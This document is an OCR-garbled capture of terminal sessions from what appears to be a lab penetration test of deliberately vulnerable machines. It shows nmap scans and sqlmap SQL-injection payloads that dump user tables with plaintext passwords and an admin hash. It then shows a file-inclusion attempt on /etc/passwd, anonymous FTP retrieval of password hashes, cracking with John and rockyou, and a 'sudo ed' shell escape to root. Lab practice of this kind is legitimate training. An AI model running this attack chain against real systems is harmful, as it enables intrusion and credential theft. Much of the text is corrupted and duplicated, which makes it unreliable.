# Automatically generated by the vm import process

auto lo

auto eth@

iface lo inet loopback

iface eth@ inet dhcp

ubuntu@ip-16-10-1-111:~$ sudo bash —-c 'cat > /mnt/dc9/etc/network/interfaces << EOF
auto lo
iface lo inet loopback

auto eth@
allow-hotplug eth@
iface eth® inet dhcp

auto ens5

allow-hotplug ens5

iface ens5 inet dhcp

[EOF*

[ubuntu@ip-16-16-1-111:~$ sudo umount /mnt/dc9

[ubuntu@ip-10-16-1-111:~$ nmap -sV -Pn -T4 —p 21,22,80,111,139,445 100.52.71.84
Starting Nmap 7.80 ( https://nmap.org ) at 2026-08-09 22:01 UTC

Nmap scan report for ec2-100-52-71-84.compute-1.amazonaws.com (100.52.71.84)

root run sbin srv

sys usr var vmlinuz wvmlinuz.old
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[ubuntu@ip-16-16-1-111:~$ sudo umount /mnt/dc9

[ubuntu@ip-16-16-1-111:~$ nmap -sV -Pn -T4 -p 21,22,80,111,139,445 100.52.71.84
Starting Nmap 7.80 ( https://nmap.org ) at 2026—08-09 22:01 UTC

Nmap scan report for ec2-100-52-71-84.compute-1.amazonaws.com (100.52.71.84)
Host is up.

PORT STATE SERVICE VERSION
21/tcp filtered ftp

22/tcp filtered ssh

80/tcp filtered http

111/tcp filtered rpcbind

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.32 seconds

[ubuntu@ip-16-16-1-111:~$ nmap -sV -Pn -T4 -p 21,22,80,111,139,445 35.168.188.70

Starting Nmap 7.80 ( https://nmap.org ) at 2026—08-09 22:02 UTC

Nmap scan report for ec2-35-168-188-70.compute—1.amazonaws.com (35.168.188.70)

Host is up.

PORT STATE SERVICE VERSION
21/tcp filtered ftp

22/tcp filtered ssh

80/tcp filtered http

111/tcp filtered rpcbind

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.33 seconds

[ubuntu@ip-16-16-1-111:~$ nmap —-sV -Pn -T4 —p 21,22,80,111,139,445 10.10.1.122

Starting Nmap 7.80 ( https://nmap.org ) at 2026—08-09 22:04 UTC

Nmap scan report for 10.10.1.122

Host is up (0.00072s latency).

PORT STATE SERVICE VERSION

21/tcp closed ftp

22/tcp closed ssh

80/tcp open http Apache httpd 2.4.38 ((Debian))
111/tcp closed rpcbind

139/tcp closed netbios-ssn

445/tcp closed microsoft—ds

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.35 seconds

[ubuntu@ip-16-16-1-111:~$ nmap —-sV -Pn -T4 —p 21,22,80,111,139,445 10.10.1.48

Starting Nmap 7.80 ( https://nmap.org ) at 2026—08-09 22:04 UTC

Nmap scan report for 10.10.1.48

Host is up (0.00067s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.5
22/tcp open ssh OpenSSH 7.9p1 Debian 10 (protocol 2.0)

80/tcp closed http

111/tcp closed rpcbind

139/tcp closed netbios-ssn

445/tcp closed microsoft—ds

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel
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[ubuntu@ip-16-16-1-111:~$ sqlmap -u "http://10.10.1.122/results.php" —data="search=test" —batch -D users —tables

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n
ot responsible for any misuse or damage caused by this program

[*] starting @ 22:09:37 /2026-08-09/

[22:09:37] [INFO] resuming back-end DBMS 'mysql'
22 7] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:

Parameter: search (POST)

time-based blind

MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: search=test' AND (SELECT 3563 FROM (SELECT(SLEEP(5)))ZzFh) AND 'N3Je'='NJJe

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716b767871, Ox4e50484c476a5745755950434b6c42576240424e645461454c7746357694551545864426a765547,0x7171706b71) NULL— —

[22:09:37] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[22:09:37] [INFO] fetching tables for database: 'users'
Database: users

[1 table]

. —

| Userdetails |

[22

7] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.122*
[22

7] [WARNING] your sqlmap version is outdated

[*] ending @ 22:09:37 /2026-88-09/
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ot responsible for any misuse or damage caused by this program

[*] starting @ 22:10:04 /2026-08-89/

[22:1¢

4] [INFO] resuming back-end DBMS 'mysql'

[22:10:04] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: search (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: search=test' AND (SELECT 3563 FROM (SELECT(SLEEP(5)))ZzFh) AND 'NJJe'='NiJe

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=test' UNION ALL SELECT NULL,NULL,NULL,NULL, CONCAT(8x716b767871, @x4e50484c476a5745755950434b604257624c424e6454614540774T6357694551545864426a765547,0x7171706b71) ,NULL— —

[22:10:04] [INFO] the back-end DBMS is MysaL

web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

[22
[22
Database: users
Table: UserDetails
[17 entries]

~$ sqlmap -u "http://10.10.1.122/results.php" —data=

4] [INFO] fetching columns for table 'UserDetails' in database 'users'
4] [INFO] fetching entries for table 'UserDetails' in database 'users'

B

+
| id | lastname | password | reg_date | username | firstname |
T —— ——t
|1 | Moe | 3kfsB6sfd | 2019-12-29 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 | julied | Julie |
| 3 | Flintstone | 4sfd87sfdl | 2019-12-29 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 | barneyr | Barney |
|5 | Cat | TC&TheBoyz | 2019-12-29 | tome | Tom |
| 6 | Mouse | Bem#4gsd | 2019-12-29 | derrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 | wilmaf | Wilma |
| 8 | Rubble | BamBame1 | 2019-12-29 | bettyr | Betty |
| 9 | Bing | uraep! | 2019-12-29 | chandlerb | Chandler |
| 10 | Tribbiani | Passwerd | 2019-12-29 | doeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 | scoots | Scooter |
| 16 | Trump | Tlovepeepee | 2019-12-29 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-8 | 2019-12-29 28 | janitor2 | Scott |
e s S

[*] ending @ 22:10:04 /2026-88-89/

ubuntu@ip-10-16-1-111:~$ [|

earch=test" —batch -D users -T UserDetails --dump

It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n

041 [INFO] table 'users.UserDetails' dumped to CSV file '/home/ubuntu/.local/share/sqlmap/output/10.10.1.122/dump/users/UserDetails.csv'
:04] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/10.10.1.122"
©04] [WARNING] your sqlmap version is outdated
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[ubuntu@ip-16-16-1-111:~$ sqlmap -u "http://10.16.1.122/results.php" —data="search=test" —batch -D Staff -T Users ——dump

https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal.
ot responsible for any misuse or damage caused by this program

[*] starting @ 22:12:30 /2026-08-09/

[22
[22

0] [INFO] resuming back-end DBMS 'mysql'
0] [INFO] testing connection to the target URL

sglmap resumed the following injection point(s) from stored session:

Parameter: search (POST)
Type: time-based blind
Title: MySQL >
Payload: search:

Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: searci

[22:12:30] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian 1 (buster)
web application technology: Apache 2.4.38

back-end DBMS: MySQL >= 5.6.12 (MariaDB fork)

[22:12:30] [INFO] fetching columns for table 'Users' in database 'Staff'
0] [INFO] fetching entries for table 'Users' in database 'Staff'
0] [INFO] recognized possible password hashes in column 'Password'

[22
[22

5.0.12 AND time-based blind (query SLEEP)
est' AND (SELECT 3563 FROM (SELECT(SLEEP(5)))ZzFh) AND 'NJe'='NJJe

It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are n

=test' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(@x716b767871, 0x4e50484c476a5745755950434b6c4257624c424e645461454c77416357694551545864426a765547,0x7171706b71) ,NULL— —

do you want to store hashes to a temporary file for eventual further processing with other tools [y/NI N

do you want to crack them via a dictionary-based attack? [Y/n/q] Y

[22:12:30] [INFO] using hash method 'md5_generic_passwd"
what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files
>1

[22:12:30] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] N
0] [INFO] starting dictionary-based cracking (md5_generic_passwd)

[22
[22:12:30] [INFO] starting 2 processes
[22:12:52] [WARNING] no clear password(s) found
Database: Staff

Table: Users

[1 entry]

B T
| UserID | Password | Username |
————e e
|1 | 85675de590ef37314e7c3bd6T8ab6dC | admin |
B e
[22

[22
[22

2] [WARNING] your sqlmap version is outdated
[*] ending @ 22:12:52 /2026-08-09/

ubuntu@ip-16-16-1-111:~$ ||

2] [INFO] table 'Staff.Users' dumped to CSV file '/home/ubuntu/.local/share/sqlmap/output/10.10.1.122/dump/Staff/Users.csv"
2] [INFO] fetched data logged to text files under '/home/ubuntu/.local/share/sqlmap/output/16.10.1.122'
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[ubuntu@ip-10-10-1-111:~$ echo -n "transorbitall" | mdSsum
8565de590ef37314e7c3bdf68ab6dc
[ubuntu@ip-10-16-1-111:~$ curl -v -c cookies.txt -d "username=admin&password=transorbitall" http://10.10.1.122/manage.php 2>&1 | tail -30

<div class="inner">

<h3>Login to manage records.</h3><div class="centered"> <div class="centered">
<form action="manage.php" method="post">
<p><strong>Usernane: </strong><br/>
<input type="text" name="username"></p>
<p><strong>Password:</strong><br/>
<input type="password" name="password"></p>
<p><input type="submit" value="Submit"></p>

</form>
</div>

</div>
</div>
<br /><br />
<div class="clearfix"></div>
<br />
<footer>

<div class="inner">

</div>

</footer>

</div>
</body>

[</html>ubuntu@ip-16-16-1-curl -v —c cookies.txt —d "username=admin&password=transorbitall" http://10.10.1.122/manage.php 2>&1 | grep —i "< HTTP\|< Location\|Set-Cookie"FEEY
< HTTP/1.1 302 Found

< Set-Cookie: PHPSESSID=u@g3s64osdbnojskréf8fgérst; path=/

< location: welcome.php

[ubuntu@ip-16-16-1-111:~8 curl -b cookies.txt http://10.10.1.122/welcome.php

<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>Example.com — Staff Details - Welcome</title>

<link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>
<div class="wrapper">
<header>
<div class="inner">
Example.com - Staff Details
</div>
</header>
<nav>
<div class="inner">
<ul>
<a href="index.php"><li>Home</1i></a><a href="display.php"><li>Display All Records</li></a><a href="search.php"><li>Search</li></a><a href="manage.php"><li>Manage</li></a><a href="addrecord.p
hp*><li>Add Record</li></a><a href="logout.php"><li>Log Out</li></a> </ul>
</div>
</nav>
<div class:

<div class="inner">
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</div>
</header>
<nav>
<div class="inner">
<ul>

<a href="index.php"><li>Home</1i></a><a href=
hp"><li>Add Record</li></a><a href="logout.php*><li>Log Out</li></a> </ul>

</div>

</nav>

<div class="main">
<div class="inner">

<h3>Logged in as admin</h3>
<p></p>
</div>
</div>

<br /><br />

<div class="clearfix"></div>

<br />
<footer>
<div class="inner">
File does not exist<br /> </div>
</footer>

</div>
</body>
[</html>ubuntu@ip-18-10-1-curl -b cookies.txt "http://10.10.1.122/welcome.php?file=/etc/passwd
<IDOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Example.com - Staff Details - Welcome</title>

<link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>
<div class="wrapper">
<header>
<div class="inner">
Example.com — Staff Details
</div>
</header>
<nav>
<div class="inner">
<ul>
<a href="index.php"><li>Home</1i></a><a href=
hp*><li>Add Record</li></a><a href="logout.php"><li>Log Out</li></a> </ul>

</div>
</nav>

<div class="main">
<div class="inner">

<h3>Logged in as admin</h3>
<p></p>
</div>
</div>

<br /><br />

display.php><1i>Display ALl Records</li></a><a href="search.php"><li>Search</1i></a><a href="manage.php"><li>Manage</1i></a><a href="addrecord.p

'display.php"><1li>Display All Records</li></a><a href="search.php"><li>Search</li></a><a href="manage.php"><li>Manage</1li></a><a href="addrecord.p
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</body>
[</html>ubuntudip-16-10-1-curl -b cookies.txt "http://10.10.1.122/welcome.php?file=/etc/passwd" FER
<!DOCTYPE html>

<html>

<head>

<meta charset="UTF-8">

<title>Example.com - Staff Details - Welcome</title>

<link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>
<div class="wrapper">
<header>
<div class="inne
Example.com - Staff Details
</div>
</header>
<nav>
<div class="inner">
<ul>
<a href="index.php"><li>Home</1i></a><a href="display.php"><li>Display All Records</li></a><a href="search.php"><li>Search</1i></a><a href="manage.php"><li>Manage</1i></a><a href="addrecord.p
hp*><li>Add Record</li></a><a href="logout.php"><li>Log Out</li></a> </ul>

</div>

</nav>

“inner">

<h3>Logged in as admin</h3>
<p></p>

</div>

</div>
<br /><br />

<div class="clearfix"></div>

<br />
<footer>
<div class="inner">
File does not exist<br /> </div>
</footer>

</div>
</body>
</html>ubuntu@ip-10-10-:
ubuntu@ip-16-16-1-111:~$ ||

11:~$
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It

</html>ubuntu@ip-10-10-1-111:~$
ubuntu@ip-10-10-1-111:~$ ftp 10.10.1.48
Connected to 10.10.1.48.
220 pyftpdlib 1.5.5 ready.
Name (10.10.1.48:ubuntu): anonymous
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 1s —laRead from remote host 52.86.125.94: Can't assign requested address
Connection to 52.86.125.94 closed.
client_loop: send disconnect: Broken pipe
$ ssh —i ~/pww—key-pair.pem ubuntu@52.86.125.94
ssh: connect to host 52.86.125.94 port 22: Connection refused
$ aws ec2 describe-instances —instance-ids i-@8faf9al9fa9e8303 ——query "Reservations[].Instances[].{State:State.Name,PublicIP:PublicIpAddress}" ——output table
DescribeInstances |
— — ——+ — ——+
PublicIP | State |
— — ——+ — ——+
52.86.125.94 | running |
— — ——+ — ——+
ssh -i ~/pww-key-pair.pem ubuntu@52.86.125.94
ssh: connect to host 52.86.125.94 port 22: Connection refused
[$ ssh -1 ~/pww-key-pair.pem ubuntu@52.86.125.94
ssh: connect to host 52.86.125.94 port 22: Connection refused
[$ aws ec2 describe-security-groups --group-ids sg-0b4el1271f1923041le ——query "SecurityGroups[].IpPermissions" -—output json
[

R s

[

[

"IpProtocol": "tcp",
"FromPort": 80,
"ToPort": 80,
"UserIdGroupPairs": [],
"IpRanges": [

{

"CidrIp": "49.37.113.87/32"

}
1,
"IpvéRanges": [,
"PrefixListIds": []

"IpProtocol": "-1",
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ssh: connect to host 52.86.125.94 port 22: Connection refused
[$ ssh —i ~/pww-key—pair.pem ubuntu@52.86.125.94
ssh: connect to host 52.86.125.94 port 22: Connection refused
[$ aws ec2 describe-security-groups ——group-ids sg-@b4e1271f192304le ——query "SecurityGroups[].IpPermissions" ——output json
[
[

"IpProtocol": "tcp",
"FromPort": 80,
"ToPort": 80,
"UserIdGroupPairs": [1,
"IpRanges": [
{
"CidrIp": "49.37.113.87/32"
}
1,
"IpvéRanges": [1,
"PrefixListIds": []

"IpProtocol":
"UserIdGroupPairs": [1,
"IpRanges": [
{
"CidrIp": "10.10.0.0/16"

},
{

"CidrIp": "49.37.113.87/32"
}
1,
"IpvéRanges": [1,
"PrefixListIds": []

"IpProtocol": "tcp",
"FromPort": 22,
"ToPort": 22,
"UserIdGroupPairs": [1,
"IpRanges": [
{
"CidrIp": "49.37.113.87/32"
}
1,
"IpvéRanges": [1,
"PrefixListIds": []

"IpProtocol": "tcp",
"FromPort": 3389,
"ToPort": 3389,
"UserIdGroupPairs": [1,
"IpRanges": [
{
"CidrIp": "49.37.113.87/32"
}
1,
"IpvéRanges": [1,
"PrefixListIds": []

1
1
[$ curl -4 ifconfig.me
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[$ curl -4 ifconfig.me
[157.41.225.832
$ aws ec2 authorize-security-group-ingress ——group-id sg-@b4e1271f192304le ——protocol -1 ——port -1 ——cidr 157.41.225.83/32
{
"Return": true,
"SecurityGroupRules": [

{
"SecurityGroupRuleId": "sgr-018265eabfec370al",
"GroupId": "sg-@b4el271f1923041e",
"GroupOwnerId": "@69176179640",
"IsEgress": false,
"IpProtocol": "-1",
"FromPort": -1,
"ToPort": -1,
"CidrIpv4": "157.41.225.83/32",
"SecurityGroupRuleArn": "arn:aws:ec2:us—east-1:069176179640:security-group-rule/sgr-018265eabfec370al1"
}

1
}
[$ ssh —i ~/pww-key-pair.pem ubuntu@52.86.125.94
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1061-aws x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

System information as of Sun Aug 9 22:25:38 UTC 2026

System load: 0.0 Processes: 107
Usage of /: 27.2% of 7.576B  Users logged in: 1
Memory usage: 24% IPv4 address for ens5: 10.10.1.111

Swap usage: 0%

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list —-upgradable

3 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

New release '24.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Aug 9 21:56:01 2026 from 49.37.113.87

[ubuntu@ip-10-10-1-111:~$ curl "ftp://anonymous:anonymous?10.10.1.48/"

-rw-r--r—— 1 root root 1062 Jul 29 2019 backup

ubuntu@ip-10-10-1-111:~$ curl "ftp://anonymous:anonymous@10.10.1.48/backup" —o backup.file
file backup.file

[cat backup.file

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1062 100 1062 0 @ 210k @ ——i—i— —i—i— —i—i== 259k
backup.file: ASCII text
CREDENTIALS:

office:$6$$9ZYTy.VIOM7cG9tVcPl.QZZi2XHOUZ9hLsiCr/avWTajSPHqws7 .7519ZjP4HWLN3Gvio5To4gjBdeDGzhg. X.
datacenter:$6$$3QW/J401V3naFDbhuksxRXLrkR6iKo4gh.Zx1RfZC20INKMid/6Ffy1330FtBvCI7S4N1b8v1Dy1F2hG2NONN/

sky : $6$$Ny8IwgIPYq5pHGZqy IXmoVRRmWydH7u2JbaTo.H2kNG7hFtR. pZb94 .HjeTKIMLYBxw8PUeyzJszcwfHOqepGo

sunset: $6$406THuUjdibTNu. /R$NzquK@QRsbAUUSTHcpR2Qrr1U3fA/SJo7sPDPbP3xcCR/1pbgMXS67Y27KtgLZAcIq9KZpEKEQBHFLZFSZ9bo/
space: $6$$4NccGQWPTiyfGKHgyhIBgiadO1lP/FM4 .Qwlly IWP28ABx . YuOsiRaiKKU. 4A1HKs9XLXtq8qFuC3W6SCE4LtX/
[ubuntu@ip-10-10-1-111:~$ sudo apt install -y john
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space: $6$$4NccGQWP iy fGKHgyhIBgiadO1P/FM4.Qwlly IWP28ABX . YuOsiRaiKKU. 4A1HKs9XLXtq8qFuC3wW6SCE4Ltx/
[ubuntu@ip-10-16-1-111:~$ sudo apt install —y john
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
john-data libgompl
Suggested packages:
wordlist
The following NEW packages will be installed:
john john-data libgompl
@ upgraded, 3 newly installed, @ to remove and 1 not upgraded.
Need to get 4899 kB of archives.
After this operation, 8212 kB of additional disk space will be used.
Get:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 john-data all 1.8.8-4ubuntu3 [4561 kB]
Get:2 http://us—east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libgompl amdé4 12.3.0-1ubuntul~22.04.3 [127 kB]
Get:3 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 john amdé4 1.8.8-4ubuntu3 [212 kB]
Fetched 4899 kB in @s (30.8 MB/s)
Selecting previously unselected package john-data.
(Reading database ... 67964 files and directories currently installed.)
Preparing to unpack .../john-data_1.8.0-4ubuntu3_all.deb ...
Unpacking john-data (1.8.8-4ubuntu3)
Selecting previously unselected package libgompl:amdéé4.
Preparing to unpack .../libgompl_12.3.0-lubuntul~22.04.3_amdé4.deb ...
Unpacking libgompl:amdé4 (12.3.0-lubuntul~22.04.3) ...
Selecting previously unselected package john.
Preparing to unpack .../john_1.8.8-4ubuntu3_amdé4.deb ...
Unpacking john (1.8.8-4ubuntu3) ...
Setting up libgompl:amdé4 (12.3.8-lubuntul~22.04.3) ...
Setting up john-data (1.8.@-4ubuntu3) ...
Setting up john (1.8.8-4ubuntu3) ...
Processing triggers for man-db (2.10.2-1) ...
Processing triggers for libc-bin (2.35-@ubuntu3.14) ...
Scanning processes...
Scanning linux images...

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (gemu) binaries on this host.
[ubuntu@ip-10-16-1-111:~$ cat > hashes.txt << 'EOF'

sunset:$6$406THujdibTNu. /R$NzquKOQRsbAUUSTHCpR2Qrr1U3fA/SJIo7sPDPbP3xcCR/1pbgMXS67Y27KtgLZAcJq9KZpEKEQBHFLZFSZ9bo/
EOF

ubuntu@ip-10-10-1-111:~$ john ——wordlist=/usr/share/john/password.lst hashes.txt
[john ——show hashes.txt

Created directory: /home/ubuntu/.john

Loaded 1 password hash (crypt, generic crypt(3) [?/64])

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

Og 0:00:00:08 100% 0g/s 431.3p/s 431.3c/s 431.3C/s !Q#%$%..sss

Session completed

@ password hashes cracked, 1 left

[ubuntu@ip-10-16-1-111:~$ sudo apt install -y wordlists 2>/dev/null

gunzip -k /usr/share/wordlists/rockyou.txt.gz 2>/dev/null

1s /usr/share/wordlists/ 2>/dev/null

Reading package lists... Done

Building dependency tree... Done
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Loaded 1 password hash (crypt, generic crypt(3) [?/64]1)

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

0g 0:00:00:08 100% 0g/s 431.3p/s 431.3c/s 431.3C/s !@#$%..sss
Session completed

@ password hashes cracked, 1 left

[ubuntu@ip-10-16-1-111:~$ sudo apt install -y wordlists 2>/dev/null
gunzip -k /usr/share/wordlists/rockyou.txt.gz 2>/dev/null

1s /usr/share/wordlists/ 2>/dev/null

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

[ubuntu@ip-10-10-1-111:~$ john —-wordlist=rockyou.txt hashes.txt
Loaded 1 password hash (crypt, generic crypt(3) [?/64]1)

Will run 2 OpenMP threads

fopen: rockyou.txt: No such file or directory
ubuntu@ip-10-16-1-111:~$ curl -L "https://github.com/danielmiessler/SecLists/raw/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz" —o rockyou.tar.gz
tar -xzf rockyou.tar.gz

[1s -la rockyou.txt

% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 = 0

100 50.8M 100 50.8M ] 0 76.1M 0 —:i—: =t
—rw——————— 1 ubuntu ubuntu 139921497 Sep 23 2015 rockyou.txt
[ubuntu@ip-10-10-1-111:~$ john —-wordlist=rockyou.txt hashes.txt

Loaded 1 password hash (crypt, generic crypt(3) [?/64]1)

Will run 2 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

cheerl4 (sunset)

1g 0:00:00:32 100% 0.03099g/s 431.4p/s 431.4c/s 431.4C/s gerber..monkeyl?7

Use the "--show" option to display all of the cracked passwords reliably
Session completed

[ubuntu@ip-16-16-1-111:~$ ssh sunset®10.10.1.48

The authenticity of host '10.10.1.48 (10.10.1.48)' can't be established.
ED25519 key fingerprint is SHA256:eJPU2yXcémt/iNY1C1rQJI8kyxsVOxaIPzk@JqovAOy®.
This key is not known by any other names

[Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.1.48' (ED25519) to the list of known hosts.
[sunset@10.10.1.48's password:

Permission denied, please try again.

[sunset@10.10.1.48's password:

Linux sunset 4.19.0-5-amdé4 #1 SMP Debian 4.19.37-5+deb1@ul (2019-07-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/x/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Jul 28 20:52:38 2019 from 192.168.1.182
[sunset@sunset:~$ sudo -1
Matching Defaults entries for sunset on sunset:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User sunset may run the following commands on sunset:
(root) NOPASSWD: /usr/bin/ed
-

D
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[sunset@sunset:~$ sudo ed
[1/bin/sh

[# whoami

root

# 1
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ubuntu@ip-16-16-1-111:~$ sudo apt install -y python3-pip

[pip3 install impacket —break-system-packages

Reading package lists... Done

Building dependency tree... Done

Reading state information... Done

The following additional packages will be installed:
build-essential bzip2 cpp cpp-11 dpkg-dev fakeroot g++ g++11 gcc goc-11 gec-11-base javascript-common libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libasané libatomici libc-dev-bin libc-devtools
libcé-dev libcel-8 liberypt-dev libdeflated libdpkg-perl libexpati-dev libfakeroot libfile-fentllock-perl libgcc-11-dev libgd3 libis123 libitmi 1ibjbig libjs-jquery libjs-sphinxdoc libjs-underscore liblsan@ libmpc3 libnsl-dev
1ibpython3-dev libpython3.10-dev libquadmath® libstdc++—1l-dev libtiffs libtirpc-dev libtsan@ libubsanl libwebp7 libxpmé linux-libc-dev lto-disabled-list make manpages-dev python3-dev python3-wheel python3.16-dev rpcsve-proto
2zliblg-dev

Suggested packages:
bzip2-doc cpp-doc gec-11-locales debian—keyring g++multilib g+—11-multilib gec-11-doc gec-multilib autoconf automake libtool flex bison gdb gec-doc gee-11-multilib apache2 | lighttpd | httpd glibc-doc bzr libgd-tools
libstdc++-11-doc make-doc

The following NEW packages will be installed:
build-essential bzip2 cpp cpp-11 dpkg-dev fakeroot g++ g++11 gcc goc-11 gec-11-base javascript-common libalgorithm-diff-perl libalgorithm-diff-xs-perl libalgorithm-merge-perl libasané libatomici libc-dev-bin libc-devtools
libcé-dev libccl-@ libcrypt-dev libdeflated libdpkg-perl libexpati-dev libfakeroot libfile-fentllock-perl libgec-11-dev libgd3 1ibis123 libitmi 1ibjbige libjs-jquery libjs-sphinxdoc libjs-underscore liblsane libmpc3 libnsl-dev
libpython3-dev Libpython3.10~dev libquadmath® libstdc++1l-dev libtiffs libtirpc-dev libtsand libubsanl libwebp7 libxpmé linux-libc-dev lto-disabled-list make manpages-dev python3-dev python3-pip python3-wheel python3.10-dev
pesve-proto zliblg-dev

© upgraded, 58 newly installed, @ to remove and 1 not upgraded.

Need to get 70.1 MB of archives.

After this operation, 235 MB of additional disk space will be used.

Get:1 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libc-dev-bin amdé4 2.35-@ubuntu3.14 [20.3 kB]

Get:2 ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 linux-libc-dev amdé4 5.15.0-187.197 [1361 kBI
Get:3 ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libcrypt-dev amdé4 1:4.4.27-1 [112 kB]

Get:4 ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 rpcsvc-proto amdé4 1.4.2-ubuntué [68.5 kB]

Get:5 ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libtirpc-dev amdé4 1.3.2-2ubuntu@.l [192 kB]

Get:6
Get:7 http://us-east-1

ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libnsl-dev amdé4 1.3.0-2build2 [71.3 kB]
ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libcé-dev amdé4 2.35-@ubuntu3.14 [2100 kB]

Get:8 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 gcc-1l-base amdé4 11.4.8-lubuntul~22.04.3 [216 kB]
Get:9 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libis123 amd64 @.24-2buildl [727 kB]

Get:10 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 libmpc3 amd64 1.2.1-2buildl [46.9 kB]

Get:11 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 cpp-11 amdé4 11.4.8-lubuntul~22.04.3 [10.0 MB]
Get:12 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy/main amdé4 cpp amdé4 4:11.2.8-lubuntul [27.7 kB

Get:13 http://us-east-1.ec2.archive.ubuntu.com/ubuntu jammy-updates/main amdé4 libcc1l-@ amdé4 12.3.@-lubuntul~22.04.3 [48.3 kB
